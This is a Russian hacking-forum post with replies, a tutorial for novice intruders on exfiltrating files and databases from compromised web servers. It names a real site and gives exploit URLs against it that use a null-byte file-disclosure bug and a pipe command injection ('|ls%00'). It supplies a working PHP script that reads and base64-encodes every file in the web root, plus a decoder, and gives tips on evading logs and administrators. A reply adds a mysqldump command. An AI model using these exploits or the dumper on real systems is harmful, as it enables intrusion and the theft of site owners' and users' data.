Ну вот, взлом завершился удачно, точнее он еще завершился? Рут есть, а как думаешь инфу дампить будешь? Конечно, если ты это умеешь, то статья не для тебя, я в ней хочу рассказать о некоторых идеях и методах дампа - воистину святого слова! Эта статья нацелена на начинающих дамперов - будем рассматривать дамп с веб-серверов, в принципе, от реального дампа сервера он почти ничем не отличается. Большинство начинающих взломщиков опускают руки, когда на шелле видят почти всё большинство вкусных функций продизейбленными) Итак, какие хорошие функции PHP нам могут вырубить? во первых - системные вызовы, чтобы мы не могли юзать архиваторы ОС сервера. Сейчас я хочу рассказать о двух принципиально различных видах дампа: когда дампер заливаем на сервер когда дампим через какую-нибудь багу (например, текстовый инклуд) В первом случае мы добиваемся залития нашего кода в исполняемую диру на сервер - например какой-нибудь шелл, поддерживающий дамп. Самый лучший метод, хотя более палевный. Плюсы: более быстрый метод с легкостью дампятся файлы любого типа Минусы: Возможный непреодолимый таймлимит на выполнение палится наличие файла (если не инклудим дампер в память) Подводные камни: на время отдачи (можно решить скоростью скачки) ну и более жестоко - размер отдаваемого содержимого, приходится разбивать на "партии" Во втором случае (например - текстовый инклуд) нам нужно юзать дампер-клиент, который сам будет составлять запросы, обращаться к баге, и выдирать содержимое файла. Более медленный, менее палевный (смотря как посылать запросы - постом или гетом, не стоит ли идс на нагрузку к скриптам (например, быстро палится через веб-статистику)) Плюсы: Пофиг на таймлимиты более частая ошибка (хотя спорно) связанных с БД таких ошибок больше. более удобный интерфейс админки - можно подгружать только то, что нужно Минусы: Палится в логах (елси юзать гет - куча записей обращений) ну и в менеджерах статистики - пиковая нагрузка, даже если юзаем POST сложнее в реализации не всегда удобно(даже можно) дампить все типы файлов иногда возникают значительные проблемы с перекодировкой Подводные камни: жестокие админы, непрерывно зырящие логи "антидос" системы, тогда заметно снижается скорость... ( Теперь подробнее о методах реализации первого метода: из его описания должно быть все понятно - или возможность залить исполняемый код на сервер, или его проинклудить/исполнить. Второй способ более красивый и частонаблюдаемый: инъекция кода запроса к бд ну и тупые инклудинги файлов (будь то новости и т.д.) Но из-за некоторых сложностей в реализации большинство начинающих крякеров идут лесом, максимум что делают - пытаются надыбать конфиги форума, сайта... очень часто это помогает для дальнейшего проникновения и перехода к первому случаю. Теперь примерчики ко 2му случаю: типичная ошибка - открытие файла(будь то результаты голосования), как например тут: Code: http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=vote.pl%00 вместо: Code: http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=14-08-2005 тут использована типичная ошибка нулевого байта ЗЫ тут специально опускаем фичу с вертикальной палкой: Code: http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=|ls%00 - просто выполняем команду )) т.е. можем перейти к 1 случаю. аналогичные ошибки допускаются и в пхп-сценариях. ну и классика - майсекл, статей полно, поэтому просто приведу ссылки: http://forum.antichat.ru/thread28461-%E4%E0%EC%EF%E5%F0.html - очень вкусная вещь от Elekt Вкусности: http://forum.antichat.ru/thread32196-%E4%E0%EC%EF%E5%F0.html - отличный дампер майсекл ну и чтоб статья не была голословной по поводу самописок в первом случае - вот код дампера: ЗЫ работает даже почти при всех продизейбленных функциях, что есть гуд. PHP: <?php function scan_dir($dirname) { echo base64_encode($dirname.';').';'; GLOBAL $text, $retext; $dir = opendir($dirname); while (($file = readdir($dir)) !== false) { if($file != "." && $file != "..") { if(is_file($dirname."/".$file)) { $f = fopen($dirname.'/'.$file,"r"); $out=fread($f,filesize($dirname."/".$file)); fclose ($f); echo base64_encode($dirname.'/'.$file.';'.base64_encode($out)).';'; } if(is_dir($dirname."/".$file)) { scan_dir($dirname."/".$file); } } } closedir($dir); } scan_dir('..'); ?> а вот декодер полученного дампа: PHP: <? set_time_limit(0); $datafile=file('data.txt'); $data=''; foreach($datafile as $dataline) { $data.=$dataline; } $files=explode(';',$data); foreach($files as $bf) { list($path,$out)=explode(";", base64_decode($bf)); $q=strpos(base64_decode($bf),';'); $path=substr(base64_decode($bf),0,$q); $out=substr(base64_decode($bf),$q+1); $path=substr($path,3); echo $path; if($out=='') { mkdir('mai/2/'.$path); }else{ echo 'mai/2/'.$path; $f = fopen('mai/2/'.$path,"a"); fputs ($f,$out); fclose ($f); } } ?> идея элементарная - рекурсивно проходимся по директориям веб-сервера, при заходе в директорию добавляем в дамп ее имя закодированной бейс64 (для надежности ) ну и если в директории есть файлы, выводим имя файла; дамп файла тоже в бейс 64. Ну а декодер проделывает все в обратном порядке) Отмазки: за то, как вы это используете я не отвечаю и отвечать не буду. Код предоставлен как есть ну и статья - повод для размышлений.
Что бы базу слить можно в консоли набрать: mysqldump -uroot imyaBD > imyaBD.sql Если рут есть, или если прав хватает...
2 flipper: да) логическая ошибка - в начале спрашиваю про рут, а потом напоминаю про дизабленные функции. просто если уже есть рут, то дамп - не проблема как правило, главное синтаксис знать
Ну не знаю каким вы скриптом выкачиваете давайте я даю бд правдо там sybase... Но все же... На мой взгляд один лучших скриптов (phpmyadmin) допустим с 10 лямами записей... приходиться выкачивать по 500к может быть я что то не так делаю если вы мне подскажите буду только рад. Желающие подтвердить слова в icq.